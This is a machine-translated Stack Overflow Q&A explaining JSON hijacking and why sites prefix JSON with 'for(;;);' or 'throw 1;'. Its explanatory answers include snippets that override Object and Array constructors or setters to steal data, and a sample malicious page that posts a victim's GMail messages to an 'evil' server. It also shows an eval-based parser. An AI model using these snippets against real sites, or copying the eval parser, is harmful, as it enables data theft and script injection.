为什么人们把代码如“扔1; 在json响应面前,“<dont be evil>”和“for(;;);”
可能重复:
为什么Google预先安装(1); 到他们的JSON响应?
Google会像这样返回json:
throw 1; <dont be evil> { foo: bar}
和Facebook的Ajax有这样的JSON:
for(;;); {"error":0,"errorSummary": ""}
- 为什么他们把代码停止执行,并使无效的JSON?
- 如果它是无效的,他们如何parsing它,如果你试图评估它会崩溃?
- 他们只是从string中删除它(看起来很贵)?
- 这有什么安全优势吗?
作为对安全目的的回应:
如果scraper在另一个域上,他们将不得不使用script
标签来获取数据,因为XHR不能跨域使用。 即使没有for(;;);
攻击者将如何获取数据? 它没有分配给一个variables,所以不会被垃圾收集,因为没有引用它?
基本上,要获得数据跨域,他们将不得不做
<script src="http://target.com/json.js"></script>
但即使没有前置脚本,攻击者也不能使用任何Json数据,而不将其分配给可以全局访问的variables(在这种情况下不会)。 崩溃代码有效地不做任何事情,因为即使没有它,他们也必须使用服务器端脚本来使用他们的网站上的数据。
即使没有
for(;;);
攻击者将如何获取数据?
攻击是基于改变内buildtypes的行为,特别是Object
和Array
,通过改变它们的构造函数或其prototype
。 然后,当目标JSON使用{...}
或构造时,它们将成为这些对象的攻击者自己的版本,并具有潜在的意外行为。
例如,你可以将一个setter属性转换成Object
,这会暴露用对象字面值写成的值:
Object.prototype.__defineSetter__('x', function(x) { alert('Ha! I steal '+x); });
然后,当一个<script>
指向某个使用该属性名称的JSON时:
{"x": "hello"}
价值"hello"
将被泄漏。
数组和对象文字导致setter被调用的方式是有争议的。 Firefox删除了3.5版本中的行为,以回应在知名网站上公布的攻击。 然而在写作的时候,Safari(4)和Chrome(5)仍然很容易受到这个影响。
所有浏览器现在不允许的另一个攻击是重新定义构造函数:
Array= function() { alert('I steal '+this); }; [1, 2, 3]
而现在,IE8的属性实现(基于ECMAScript第五版标准和Object.defineProperty
)目前不适用于Object.prototype
或Array.prototype
。
但是,除了保护过去的浏览器,也可能是JavaScript的扩展将来会导致更多的类似漏洞,在这种情况下,chaff也应该防止这些漏洞。
考虑一下,在检查你的GMail帐户后,你去看看我的恶意页面:
<script type="text/javascript"> Object = function() { ajaxRequestToMyEvilSite(JSON.serialize(this)); } </script> <script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>
现在发生的事情是,来自谷歌的JavaScript代码 – 被提问者认为是良性的,并立即失控 – 实际上将被发布到我的恶意网站。 假设在脚本标记中请求的URL发送(因为您的浏览器将显示正确的cookie,Google会正确地认为您已经login到您的收件箱):
({ messages: [ { id: 1, subject: 'Super confidential information', message: 'Please keep this to yourself: the password is 42' },{ id: 2, subject: 'Who stole your password?', message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42' } ] })
现在,我将发布这个对象的序列化版本给我的邪恶的服务器。 谢谢!
防止这种情况发生的方法是将您的JSON响应彻底删除,如果您在同一个域中处理该数据,则可以将其删除。 如果你喜欢这个答案,请接受由bobince发布的。
编辑
这些string通常被称为“不可parsing的文件”,用于修补影响JSON规范的信息泄漏漏洞。 这次攻击是真实世界,而且Jeremiah Grossman发现了gmail中的漏洞 。 Mozilla也认为这是JSON规范中的一个漏洞,并且已经在Firefox 3中进行了修补 。 但是,因为这个问题仍然影响其他浏览器这个“不可分割的cruft”是必需的,因为它是一个兼容的补丁。
Bobice的回答对这次袭击有一个技术性的解释,这是正确的。
如果它是无效的,他们如何parsing它,如果你试图评估它会崩溃?
这是一个function ,如果你试图eval
它会崩溃。 eval
允许任意的JavaScript代码,可以用于跨站点脚本攻击。
他们只是从string中删除它(看起来很贵)?
我想是这样。 可能是这样的:
function parseJson(json) { json = json.replace("throw 1; <dont be evil>", ""); if (/* regex to validate the JSON */) { return eval(json); } else { throw "XSS"; } }
“不要邪恶”的垃圾可以防止开发者直接使用eval
而不是一个更安全的select。